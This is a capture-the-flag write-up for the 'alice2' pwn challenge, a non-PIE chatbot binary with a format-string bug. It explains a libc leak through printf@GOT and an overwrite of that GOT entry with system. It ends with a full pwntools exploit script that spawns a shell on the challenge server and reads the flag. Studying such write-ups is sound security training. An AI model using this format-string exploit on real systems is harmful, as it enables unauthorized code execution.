pwn6fmt_alice2 (alice-alpha)
pwn6fmt_alice2 (alice-alpha)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: format_string_leak, got_overwrite, hn_hhn_split_write, libc_base_resolution, printf_to_system
Summary
Task: non-PIE 'ALICE' chatbot with a format-string bug in add_advise that calls printf(buf) on raw read() input; a decoy get_flag option is a red herring. Solution: fmt leak of printf@GOT to resolve the Debian libc-2.31 base, then a single %hn/%hhn write overwrites printf@GOT with system, and the next add_advise sends /bin/sh for a shell.
pwn6fmt_alice2 (alice-alpha) — pwn_spbctf
Description
Разработчики ИИ //АЛИСА// опубликовали новую версию. Обещали поправить ошибки и добавить новый функционал.
(The AI //ALICE// developers published a new version. They promised to fix bugs and add new functionality.)
Files: alice2.elf + libc-2.31.so. Category fmt, tier pwn6 ("Добор"). Author: Lex (@b1n4r9). Remote: nc 109.233.56.90 11703.
The "new functionality" hinted at in the description is the planted format-string vulnerability.
Analysis
checksec on alice2.elf:
- NON-PIE (base
0x400000) → GOT and symbols are at fixed addresses. - NX enabled, no stack canary.
- Partial RELRO → the GOT is writable, so a GOT-overwrite is possible.
- Not stripped.
Program structure (an "ALICE" chatbot):
main→init(prints a banner;sprintfs the globalformated_name = "unknown > ") →menu.menuis a loop built onscanf("%d")+ a jump table. Options:[1] change_name[2] get_advise[3] add_advise[4] get_flag— DECOY: returns"this functionality will be in the next version v0.002f". NOT the real flag.[5] exit
The bug — add_advise @ 0x401540:
c read-only • copy allowedread(0, buf /* rbp-0x40 */, 0x40); ... printf(buf); // @ 0x4015bf — FORMAT STRING, buf is user-controlled
printf is called directly on the 0x40-byte read() buffer. (A secondary fmt vector exists via printf(formated_name) in change_name/show_menu/get_advise with the user-set name, but add_advise is the clean primitive.)
Because the menu loops, we get multiple fmt invocations → leak, then GOT-overwrite, then trigger.
Format-string offset = 6: AAAAAAAA.%6$p prints 0x4141414141414141 at slot 6, so our buffer begins at parameter slot 6. Planted 8-byte pointers therefore land at slot 7, 8, ...
libc matters. The provided libc-2.31.so is the Debian build:
md5 = 74f2d3062180572fc8bcd964b587eeaesystem = 0x48f20,printf = 0x56db0
This is NOT the Ubuntu 1ec728d build (whose system = 0x55410). Using the wrong offset silently breaks the exploit. Always resolve offsets against the exact provided libc.
Solution
Three stages, all through the looping add_advise menu:
1. Leak libc via printf@GOT
Place the %s specifier before the planted GOT address so its leading NUL bytes don't truncate the read:
payload = b'%7$s.AAA' + p64(0x404040) # printf@GOT
The address sits at slot 7 (right after the 8-byte slot-6 prefix %7$s.AAA). printf dereferences printf@GOT and prints the live libc printf address. Then:
libc_base = leaked_printf - libc.symbols['printf'] # page-aligned → verified
What failed: putting the address first (
p64(GOT) + b'%6$s') truncated the leak because the GOT pointer0x0000000000404040starts with NUL bytes andprintf("%s")stops at the first NUL. Fix: emit the%sspecifier first, address afterward at slot 7.
2. Overwrite printf@GOT → system
A single format-string write splits system's low 3 bytes across the GOT entry, all within the 0x40 buffer:
%hnwrites the low 2 bytes atprintf@GOT+0%hhnwrites byte 3 atprintf@GOT+2
Writes are ordered by ascending cumulative %c count, and the two target pointers are appended at 8-aligned slots after the format string (see build_overwrite).
3. Trigger
The overwrite happens during that printf(buf). On the next add_advise, printf(buf) is now system(buf):
sendline('3'); send('/bin/sh\x00'...) # system("/bin/sh") → shell
Then cat /flag.txt.
python read-only • copy allowed#!/usr/bin/env python3 # pwn6fmt_alice2 - format string in add_advise -> printf(buf). Overwrite printf@GOT->system. from pwn import * import time context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11703 elf = ELF('alice2.elf', checksec=False) libc = ELF('libc-2.31.so', checksec=False) # Debian build, md5 74f2d30..., system=0x48f20 PRINTF_GOT = elf.got['printf'] # 0x404040 SAVED = 'Сообщение сохранено: '.encode('utf-8') def add_advise(p, payload): p.sendline(b'3') assert len(payload) <= 0x40 p.send(payload.ljust(0x40, b'\x00')[:0x40]) def leak_libc(p): add_advise(p, b'%7$s.AAA' + p64(PRINTF_GOT)) # %s BEFORE the address (slot 7) data = p.recvuntil(b'[5]', timeout=8) idx = data.find(SAVED) chunk = data[idx+len(SAVED):] leakbytes = chunk.split(b'.AAA')[0] leak = u64(leakbytes[:6].ljust(8, b'\x00')) return leak, leak - libc.symbols['printf'] def build_overwrite(system_addr): low2 = system_addr & 0xffff b2 = (system_addr >> 16) & 0xff pairs = sorted([(low2, 'h'), (b2, 'hh')], key=lambda x: x[0]) for s1 in range(7, 13): s2 = s1 + 1 v1, t1 = pairs[0]; v2, t2 = pairs[1] c1 = v1; c2 = v2 - v1 fmt = b'' if c1 > 0: fmt += b'%' + str(c1).encode() + b'c' fmt += b'%' + str(s1).encode() + b'$' + t1.encode() + b'n' if c2 > 0: fmt += b'%' + str(c2).encode() + b'c' fmt += b'%' + str(s2).encode() + b'$' + t2.encode() + b'n' a1 = PRINTF_GOT if pairs[0][1] == 'h' else PRINTF_GOT + 2 a2 = PRINTF_GOT if pairs[1][1] == 'h' else PRINTF_GOT + 2 need = (s1 - 6) * 8 if len(fmt) <= need: payload = fmt.ljust(need, b'\x00') + p64(a1) + p64(a2) if len(payload) <= 0x40: return payload raise RuntimeError('cannot fit overwrite payload') def main(): p = remote(HOST, PORT) p.recvuntil(b'[5]', timeout=8); time.sleep(0.2) leak, base = leak_libc(p) log.success('printf leak = %#x' % leak) log.success('libc base = %#x (aligned=%s)' % (base, base % 0x1000 == 0)) system = base + libc.symbols['system'] # base + 0x48f20 add_advise(p, build_overwrite(system)) # printf@GOT -> system try: p.recvuntil(b'[5]', timeout=4) except Exception: pass p.sendline(b'3') p.send(b'/bin/sh\x00'.ljust(0x40, b'\x00')) # printf(buf) is now system(buf) time.sleep(1) p.sendline(b'cat /flag.txt; cat flag.txt') p.interactive() if __name__ == '__main__': main()